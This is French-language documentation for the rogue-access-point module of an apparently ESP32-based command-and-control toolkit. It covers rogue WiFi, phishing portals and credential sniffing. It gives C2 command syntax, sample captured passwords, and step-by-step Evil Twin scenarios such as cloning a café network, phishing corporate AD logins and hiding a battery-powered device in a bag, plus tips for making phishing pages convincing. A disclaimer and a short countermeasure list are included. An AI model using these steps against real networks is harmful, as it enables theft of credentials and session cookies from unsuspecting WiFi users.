Skip to content

FakeAP Module

Le module FakeAP permet de créer des points d'accès WiFi malveillants avec portail captif et capture de credentials.

Usage Légal Uniquement

La création de points d'accès malveillants est illégale sans autorisation. Utilisez uniquement dans le cadre de pentests autorisés.

Configuration

Activer dans menuconfig: Epsilon Bot Configuration → Modules → Fake Access Point Commands


Vue d'Ensemble

┌────────────────────────────────────────────────────────────────────┐
│                         FAKEAP MODULE                               │
├────────────────────────────────────────────────────────────────────┤
│                                                                     │
│   ┌─────────────────────────────────────────────────────────────┐  │
│   │                    ACCESS POINT                              │  │
│   │                                                              │  │
│   │   SSID: "FreeWiFi"          Mode: Open / WPA2               │  │
│   │   Channel: 6                IP: 192.168.4.1                 │  │
│   │                                                              │  │
│   └─────────────────────────────────────────────────────────────┘  │
│                              │                                      │
│                              ▼                                      │
│   ┌─────────────────────────────────────────────────────────────┐  │
│   │                   CAPTIVE PORTAL                             │  │
│   │                                                              │  │
│   │   ┌──────────────────────────────────────────────────────┐  │  │
│   │   │              Welcome to FreeWiFi                      │  │  │
│   │   │                                                       │  │  │
│   │   │   Please enter your credentials to continue:         │  │  │
│   │   │                                                       │  │  │
│   │   │   Email:    [__________________]                      │  │  │
│   │   │   Password: [__________________]                      │  │  │
│   │   │                                                       │  │  │
│   │   │              [ Connect ]                              │  │  │
│   │   └──────────────────────────────────────────────────────┘  │  │
│   │                                                              │  │
│   └─────────────────────────────────────────────────────────────┘  │
│                              │                                      │
│                              ▼                                      │
│   ┌─────────────────────────────────────────────────────────────┐  │
│   │                     HTTP SNIFFER                             │  │
│   │                                                              │  │
│   │   Capture: POST data, cookies, credentials                  │  │
│   │   Output:  → C2 Server (temps réel)                         │  │
│   │                                                              │  │
│   └─────────────────────────────────────────────────────────────┘  │
│                                                                     │
└────────────────────────────────────────────────────────────────────┘

Fonctionnement

Flux d'Attaque

┌──────────┐      ┌───────────┐      ┌──────────────┐      ┌─────────┐
│ Victime  │ ───► │  FakeAP   │ ───► │   Portail    │ ───► │   C2    │
│          │      │  (ESP32)  │      │   Captif     │      │ Server  │
└──────────┘      └───────────┘      └──────────────┘      └─────────┘
     │                  │                   │                    │
     │ 1. Connexion     │                   │                    │
     │    WiFi          │                   │                    │
     │ ─────────────────►                   │                    │
     │                  │                   │                    │
     │ 2. Requête HTTP  │                   │                    │
     │ ─────────────────►                   │                    │
     │                  │                   │                    │
     │ 3. Redirection   │                   │                    │
     │ ◄─────────────────                   │                    │
     │                  │                   │                    │
     │ 4. Affichage     │                   │                    │
     │    portail       │                   │                    │
     │ ◄────────────────────────────────────                     │
     │                  │                   │                    │
     │ 5. Saisie        │                   │                    │
     │    credentials   │                   │                    │
     │ ─────────────────────────────────────►                    │
     │                  │                   │                    │
     │                  │                   │ 6. Envoi au C2     │
     │                  │                   │ ───────────────────►
     │                  │                   │                    │

Commandes

fakeap_start

Démarre le point d'accès WiFi malveillant.

Syntaxe:

c2:> send <device_id> fakeap_start <ssid> [open|wpa2] [password]

Paramètres:

Paramètre Type Requis Description
ssid string Oui Nom du réseau WiFi
mode string Non open (défaut) ou wpa2
password string Si wpa2 Mot de passe WPA2 (min 8 chars)

Exemples:

# AP ouvert (Evil Twin classique)
c2:> send espilon-demo fakeap_start FreeWiFi
[espilon-demo] INFO: FakeAP started

# AP avec WPA2 (clone d'un réseau existant)
c2:> send espilon-demo fakeap_start CorpWiFi wpa2 Password123
[espilon-demo] INFO: FakeAP started

Configuration par défaut:

Paramètre Valeur
IP Gateway 192.168.4.1
DHCP Range 192.168.4.2 - 192.168.4.254
Channel 6 (auto)
Max clients 10

fakeap_start Gauche: Output ESP32 | Droite: Réponse dans C3PO


fakeap_stop

Arrête le point d'accès et déconnecte tous les clients.

Syntaxe:

c2:> send <device_id> fakeap_stop

Comportement:

  1. Arrête le sniffer (si actif)
  2. Arrête le portail captif (si actif)
  3. Déconnecte tous les clients
  4. Désactive le mode AP
c2:> send espilon-demo fakeap_stop
[espilon-demo] INFO: FakeAP stopped

fakeap_status

Affiche l'état actuel du module FakeAP.

Syntaxe:

c2:> send <device_id> fakeap_status

Réponse:

FakeAP status:
 AP: ON
 Portal: ON
 Sniffer: ON
 Authenticated clients: 3

Champs:

Champ Description
AP État du point d'accès (ON/OFF)
Portal État du portail captif (ON/OFF)
Sniffer État du sniffer HTTP (ON/OFF)
Authenticated clients Nombre de clients ayant soumis le formulaire

fakeap_status Gauche: Output ESP32 | Droite: Réponse dans C3PO


fakeap_clients

Liste les clients actuellement connectés au FakeAP.

Syntaxe:

c2:> send <device_id> fakeap_clients

Réponse:

[espilon-demo] INFO: Connected clients:
  MAC: aa:bb:cc:dd:ee:ff - IP: 192.168.4.2
  MAC: 11:22:33:44:55:66 - IP: 192.168.4.3
  MAC: de:ad:be:ef:ca:fe - IP: 192.168.4.4

Informations par client:

Info Description
MAC Adresse MAC du client
IP Adresse IP assignée par DHCP

fakeap_clients Gauche: Output ESP32 | Droite: Réponse dans C3PO


fakeap_portal_start

Active le portail captif. Tous les clients seront redirigés vers la page de phishing.

Syntaxe:

c2:> send <device_id> fakeap_portal_start

Prérequis: Le FakeAP doit être démarré.

Fonctionnement:

  1. Intercepte toutes les requêtes HTTP
  2. Redirige vers http://192.168.4.1/
  3. Affiche le formulaire de capture
  4. Enregistre les credentials soumis
c2:> send espilon-demo fakeap_portal_start
[espilon-demo] INFO: Captive portal enabled

Page du portail:

Le portail affiche une page HTML simple demandant email/password. Les templates peuvent être personnalisés dans le firmware.


fakeap_portal_stop

Désactive le portail captif. Les clients peuvent naviguer librement.

Syntaxe:

c2:> send <device_id> fakeap_portal_stop

c2:> send espilon-demo fakeap_portal_stop
[espilon-demo] INFO: Captive portal stopped

fakeap_sniffer_on

Active le sniffer HTTP pour capturer les données POST.

Syntaxe:

c2:> send <device_id> fakeap_sniffer_on

Données capturées:

  • Requêtes POST (formulaires)
  • Cookies HTTP
  • Headers d'authentification
  • Données de formulaires en clair

Exemple de capture:

[espilon-demo] SNIFF: POST /login.php
  email=john@example.com
  password=MyS3cr3tP@ss
  remember=1

fakeap_sniffer Gauche: Output ESP32 | Droite: Credentials capturés dans C3PO


fakeap_sniffer_off

Désactive le sniffer HTTP.

Syntaxe:

c2:> send <device_id> fakeap_sniffer_off


Scénarios d'Attaque

Evil Twin - WiFi Public

Cloner un réseau WiFi public pour capturer des credentials.

# 1. Scanner les réseaux à proximité (depuis un outil externe)
# 2. Créer un clone du réseau cible
c2:> send espilon-demo fakeap_start Starbucks_WiFi

# 3. Activer le portail captif
c2:> send espilon-demo fakeap_portal_start

# 4. Activer le sniffer
c2:> send espilon-demo fakeap_sniffer_on

# 5. Attendre les victimes...
# Les credentials apparaissent dans le C2

# 6. Nettoyage
c2:> send espilon-demo fakeap_stop

Corporate Clone - Pentest Entreprise

Cloner un réseau d'entreprise pour tester la vigilance des employés.

# 1. Créer un clone WPA2 du réseau corporate
c2:> send espilon-demo fakeap_start CorpNet wpa2 Welcome2024

# 2. Le mot de passe faible attire les employés frustrés
# qui ne peuvent pas se connecter au vrai réseau

# 3. Activer portail + sniffer
c2:> send espilon-demo fakeap_portal_start
c2:> send espilon-demo fakeap_sniffer_on

# 4. Le portail demande les credentials AD
# pour "vérification de sécurité"

Hotspot Mobile

Déploiement discret pour tests en mobilité.

# Configuration minimale
c2:> send espilon-mobile fakeap_start Free_WiFi
c2:> send espilon-mobile fakeap_portal_start

# L'ESP32 peut être alimenté par batterie USB
# et caché dans un sac ou sous une table

Implémentation

Fichiers Sources

Fichier Description
cmd_fakeAP.c Handlers des commandes
mod_fakeAP.c Gestion du mode AP
mod_web_server.c Serveur HTTP + portail
mod_netsniff.c Sniffer de paquets
fakeAP_utils.h Utilitaires et config

APIs ESP-IDF Utilisées

API Usage
esp_wifi_set_mode(WIFI_MODE_AP) Mode Access Point
esp_wifi_set_config() Configuration SSID/password
esp_netif_set_ip_info() Configuration IP
httpd_start() Serveur HTTP
esp_wifi_set_promiscuous() Mode sniffer

Structure du Portail

HTTP Server (port 80)
├── GET / → Page de login HTML
├── POST /login → Capture credentials
├── GET /success → Page de confirmation
└── GET /* → Redirection vers /

Personnalisation

Templates de Portail

Les templates HTML sont embarqués dans le firmware. Pour personnaliser:

  1. Modifier mod_web_server.c
  2. Éditer les constantes HTML_LOGIN_PAGE, HTML_SUCCESS_PAGE
  3. Recompiler et flasher

Styles Recommandés

Pour un phishing efficace, le portail devrait:

  • Ressembler à une page d'authentification légitime
  • Utiliser des couleurs/logos familiers
  • Avoir un message convaincant ("Connexion requise", "Vérification de sécurité")

Limitations

Limitation Impact
HTTPS non supporté Seul le trafic HTTP est capturé
Max 10 clients Saturation possible en environnement dense
Single channel Peut interférer avec le vrai réseau
Pas de déauth L'attaquant doit attendre les connexions

Contre-mesures (pour les défenseurs)

  • Éduquer les utilisateurs sur les risques des WiFi publics
  • Utiliser un VPN en WiFi public
  • Vérifier les certificats HTTPS
  • Détecter les Evil Twins avec des outils WIDS
  • Utiliser WPA3 quand disponible

Précédent: Network Module | Suivant: Recon Camera